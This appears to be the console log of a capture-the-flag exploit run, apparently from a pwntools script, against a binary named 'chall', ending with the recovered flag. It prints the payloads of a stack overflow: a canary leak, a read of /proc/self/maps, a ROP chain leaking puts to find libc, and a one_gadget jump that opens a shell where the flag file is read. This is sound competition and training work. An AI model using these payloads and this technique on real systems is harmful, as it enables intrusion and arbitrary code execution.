[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[*] canary: 0x4825f2e85b094000
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n'
[*] /proc/self/maps: 55fe548f0000-55fe548f2000 r-xp 00000000 fd:01 259722                     /home/chall/chall
[*] base_addr: 0x55fe548f0000
[*] pop_rdi: 0x10a3
[*] puts_got: 0x201f88
[*] puts_symbol: 0x840
[*] main_symbol: 0xead
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\xa3\x10\x8fT\xfeU\x00\x00\x88\x1f\xafT\xfeU\x00\x00@\x08\x8fT\xfeU\x00\x00\xad\x0e\x8fT\xfeU\x00\x00'
[*] puts_addr: 0x7f42b16779c0
[*] libc_base: 0x7f42b15f7000
[*] one_gadgets: ['0x4f2c5', '0x4f322', '0x10a38c']
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x13p\xb1B\x7f\x00\x00'
[*] Switching to interactive mode
Unknown error$ id
uid=1001(chall) gid=1001(chall) groups=1001(chall)
$ ls
_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt
chall
flag.txt
sacred
secret.txt
setup.sh
$ cat _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt
CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}
$

FLAG

CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}